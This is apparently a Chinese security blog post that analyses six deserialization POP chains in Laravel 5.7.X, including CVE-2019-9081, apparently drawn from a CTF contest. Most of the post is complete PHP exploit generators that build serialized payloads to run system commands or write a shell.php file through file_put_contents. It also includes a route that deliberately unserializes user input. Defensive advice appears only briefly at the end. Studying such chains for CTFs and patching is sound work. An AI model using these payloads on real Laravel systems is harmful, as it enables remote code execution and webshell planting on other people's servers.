图说 Lavavel 5.7.X RCE POP 链
字数 1394 2025-08-25 22:59:09
Laravel 5.7.X 反序列化POP链分析与利用
前言
本文详细分析Laravel 5.7.X版本中的多个反序列化POP链利用方式,这些链子展示了如何通过精心构造的序列化数据实现远程代码执行(RCE)。这些漏洞在第五空间比赛中被用作题目,引发了安全研究人员对Laravel反序列化漏洞的深入思考。
环境搭建
composer create-project laravel/laravel laravel57 "5.7.*"
php artisan serve --host 0.0.0.0
1. CVE-2019-9081 利用链
1.1 准备工作
首先需要构造一个反序列化的入口点,在routes/web.php中添加:
Route::get('/unserialize', function(){
unserialize(urldecode($_GET['data']));
});
1.2 POP链分析
这条链子的执行流程如下:
- 从
PendingCommand类的__destruct方法开始 - 调用
mockConsoleOutput方法 - 绕过
createABufferedOutputMock检查 - 进入
bind方法 - 最终到达
Container.php中的call方法
1.3 EXP代码
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator {
public $expectedOutput;
public $expectedQuestions;
public function __construct() {
$this->expectedOutput = ['Mrkaixin'];
$this->expectedQuestions = ['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application {
public $bindings;
public function __construct() {
$this->bindings = [
'Illuminate\Console\OutputStyle' => 'Mrkaixin',
'Illuminate\Contracts\Console\Kernel' => [
'concrete' => 'Illuminate\Foundation\Application'
]
];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand {
public $parameters;
public $test;
public $app;
public $command;
public function __construct() {
$this->command = 'system';
$this->parameters = ['whoami'];
$this->test = new EntityPopulator();
$this->app = new Application();
}
}
echo urlencode(serialize(new PendingCommand()));
2. 利用Format方法的POP链
2.1 POP链分析
这条链子利用了Generator类的__call方法,通过format方法触发:
- 从
ImportConfigurator开始 - 调用
Generator的__call方法 - 通过
formatters数组执行任意函数
2.2 EXP代码
<?php
namespace Faker;
class Generator {
public $formatters;
public function __construct() {
$this->formatters = ['addCollection' => "system"];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;
class ImportConfigurator {
public $route;
public $parent;
public function __construct() {
$this->route = "whoami";
$this->parent = new Generator();
}
}
echo urlencode(serialize(new ImportConfigurator()));
3. 利用Builder类的巧妙链子
3.1 POP链分析
这条链子利用了Builder类的动态属性:
- 从
PendingResourceRegistration开始 - 调用
Builder的__call方法 - 通过
localMacros执行任意函数
3.2 EXP代码
<?php
namespace Illuminate\Database\Eloquent;
class Builder {
public function __construct() {
$name = "<?php phpinfo(); ?>";
$this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
$this->$name = "shell.php";
}
}
namespace Illuminate\Routing;
use Illuminate\Database\Eloquent\Builder;
class PendingResourceRegistration {
public $name;
public function __construct() {
$this->registrar = new Builder();
$this->name = 'file_put_contents';
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
4. 利用call_user_func的变种链子
4.1 POP链分析
这是在第一条链子被封锁后的替代方案,利用call_user_func触发PendingCommand的run方法:
- 从
ImportConfigurator开始 - 通过
ValidGenerator设置回调 - 最终调用
PendingCommand的run方法
4.2 EXP代码
<?php
// 省略了EntityPopulator和Application类定义,与第一条链相同
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand {
public $parameters;
public $test;
public $app;
public $command;
public function __construct() {
$this->command = 'system';
$this->parameters = ['whoami'];
$this->test = new EntityPopulator();
$this->app = new Application();
}
}
namespace Symfony\Component\Routing;
class RouteCollection {
public $routes;
public function __construct() {
$this->routes = ['Mrkaixin is beautiful'];
$this->resources = ['Mrkaixin is handsome'];
}
}
namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;
class ValidGenerator {
public $generator;
public function __construct() {
$this->generator = new RouteCollection();
$this->validator = [new PendingCommand(), 'run'];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\ValidGenerator;
class ImportConfigurator {
public $parent;
public $route;
public function __construct() {
$this->parent = new ValidGenerator();
$this->route = ['Mrkaixin'];
}
}
echo urlencode(serialize(new ImportConfigurator()));
5. 另一种call_user_func利用方式
5.1 POP链分析
这是第四条链子的变种,同样利用call_user_func触发PendingCommand的run方法:
- 从
CollectionConfigurator开始 - 通过
Cookie和RequiredIf设置回调 - 最终调用
PendingCommand的run方法
5.2 EXP代码
<?php
// 省略了EntityPopulator和Application类定义,与第一条链相同
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand {
public $parameters;
public $test;
public $app;
public $command;
public function __construct() {
$this->command = 'system';
$this->parameters = ['whoami'];
$this->test = new EntityPopulator();
$this->app = new Application();
}
}
namespace Illuminate\Validation\Rules;
use Illuminate\Foundation\Testing\PendingCommand;
class RequiredIf {
public function __construct() {
$this->condition = [new PendingCommand(), 'run'];
}
}
namespace Symfony\Component\Routing;
class RouteCollection {
public function __construct() {
$this->routes = [];
}
}
namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;
class Cookie {
public function __construct() {
$this->path = new RequiredIf();
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;
class CollectionConfigurator {
public $collection;
public function __construct() {
$this->collection = new RouteCollection();
$this->route = new Cookie();
}
}
echo urlencode(serialize(new CollectionConfigurator()));
6. 未成功的尝试链
6.1 问题分析
这条链尝试通过PendingResourceRegistration触发Logger的__call方法,但未能成功:
- 预期是通过
call_user_func触发RCE - 实际触发的是某个类的
register函数 - 原因可能是调用上下文不正确
6.2 问题EXP
<?php
namespace Illuminate\Log;
class Logger {
public $logger;
public $register;
public function __construct() {
$this->logger = $this;
$this->register = 'call_user_func';
}
}
namespace Illuminate\Routing;
use Illuminate\Log\Logger;
class PendingResourceRegistration {
public $name;
public $controller;
public $options;
public function __construct() {
$this->registrar = new Logger();
$this->name = 'file_put_contents';
$this->controller = 'shell.php';
$this->options = '<?php phpinfo(); ?>';
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
总结
这些POP链展示了Laravel 5.7.X中多种反序列化利用方式,关键在于:
- 找到合适的起点(通常是
__destruct或__wakeup) - 通过属性控制和方法调用链到达危险函数
- 绕过各种限制和检查
- 最终实现任意代码执行
防御措施包括:
- 避免反序列化用户可控数据
- 更新到最新版本
- 使用白名单验证序列化数据